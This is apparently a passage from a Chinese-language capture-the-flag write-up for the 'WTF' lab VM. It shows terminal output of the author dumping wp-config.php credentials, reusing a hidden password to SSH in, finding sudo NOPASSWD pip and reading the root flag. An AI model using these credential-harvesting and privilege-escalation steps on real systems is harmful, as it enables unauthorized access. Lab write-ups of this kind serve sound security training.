www-data@wtf:/var/www/html/zhkh$ cat wp-config.php cat wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wp_database' ); /** MySQL database username */ define( 'DB_USER', 'ra' ); /** MySQL database password */ define( 'DB_PASSWORD', '912391929129' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' ); /** The Database Collate type. Don't change this ifin doubt. */ define( 'DB_COLLATE', '' );
/**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to login again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'hmdNSrpLV5we) E$0_/E,$Vxr0%<S{]D@)T+rc%a7wvbr)Q|bm7boJdOz/AN>/#&' ); define( 'SECURE_AUTH_KEY', 'DR&l3>0z8mmFT+Y}#bqND_~H;wb[r|:te+tN%:K PS7=~~/;uA5)zj~Z%tu}-8UJ' ); define( 'LOGGED_IN_KEY', '7+cns%lA?p60U~*(J,z9zp4w 2%hB1S6jZ0NuUgl(oK,#H6&GL,i@+4m:1w3|-aW' ); define( 'NONCE_KEY', 'm5,d=I4 MShd4lU#8F@@oj2cKpc+J[Kp3bRt%Sfuw.%#`oVKzgDMTl5+D[nu,R<K' ); define( 'AUTH_SALT', 'sl3w_.}n|M{~D#6,v]U?Kz/,k&oCnn1._|(i3Y|ng7+<-f4Nv7mmR4B<i>!?du#i' ); define( 'SECURE_AUTH_SALT', 'b>,[La8I5xqchTMvXN-bI8%[)-V[wHjNmj/1jZ_Vnq`q0<|E@6^.8~KpI_#53Rw_' ); define( 'LOGGED_IN_SALT', 'v_`E=EA]$UBa.2P|%YV4cl}(c@AVkW$V5959/gQL~a:,O}qfG85Xc4)=xRBux6g?' ); define( 'NONCE_SALT', 'TE#Tim,4h|zKYm$he[F%J*4vG{v]VK!jP0sSeBLHp7Mp|P*XJz:=&n<nsfbIFq>a' );
/**#@-*/
/** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_';
/** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the Codex. * * @link https://codex.wordpress.org/Debugging_in_WordPress */ define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', dirname( __FILE__ ) . '/' ); } /** Sets up WordPress vars and included files. */ require_once( ABSPATH . 'wp-settings.php' ); //`Db]f{He3HgO`(z
将其中的ra/912391929129连接ssh发现连接不上，再将ra/Db]f{He3HgO(z连接ssh，成功登录，真想说一句what the fuck!!!!!!
root@kali:~# ssh ra@192.168.1.15 The authenticity of host '192.168.1.15 (192.168.1.15)' can't be established. ECDSA key fingerprint is SHA256:YRICww0bKH3fcEIycw4x9iWEv3gF1qtqElE7ecocCn8. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.1.15' (ECDSA) to the list of known hosts. ra@192.168.1.15's password: Linux wtf 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Nov 21 12:47:56 2019 from 192.168.1.13 ra@wtf:~$ ls ra@wtf:~$ id uid=1000(ra) gid=1000(ra) groups=1000(ra),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) ra@wtf:~$ pwd /home/ra ra@wtf:~$ whoami ra ra@wtf:~$ ls -la total 28 drwxr-xr-x 3 ra ra 4096 Nov 21 15:04 . drwxr-xr-x 3 root root 4096 Nov 21 06:45 .. -rw------- 1 ra ra 480 Nov 21 15:01 .bash_history -rw-r--r-- 1 ra ra 220 Nov 21 06:45 .bash_logout -rw-r--r-- 1 ra ra 3526 Nov 21 06:45 .bashrc drwx------ 3 ra ra 4096 Nov 21 14:18 .gnupg -rw-r--r-- 1 ra ra 807 Nov 21 06:45 .profile ra@wtf:~$
1 2 3 4 5 6 7
ra@wtf:~$ sudo -l Matching Defaults entries for ra on wtf: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ra may run the following commands on wtf: (root) NOPASSWD: /usr/bin/pip
# cd /root # ls flag.txt # cat flag.txt WTF rooted! haha, well done. You can find me on discord to tell me your opinion about "WTF" -> pwn4magic#8707 #
帅的掉渣
Game over
不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this…It’s a pity…
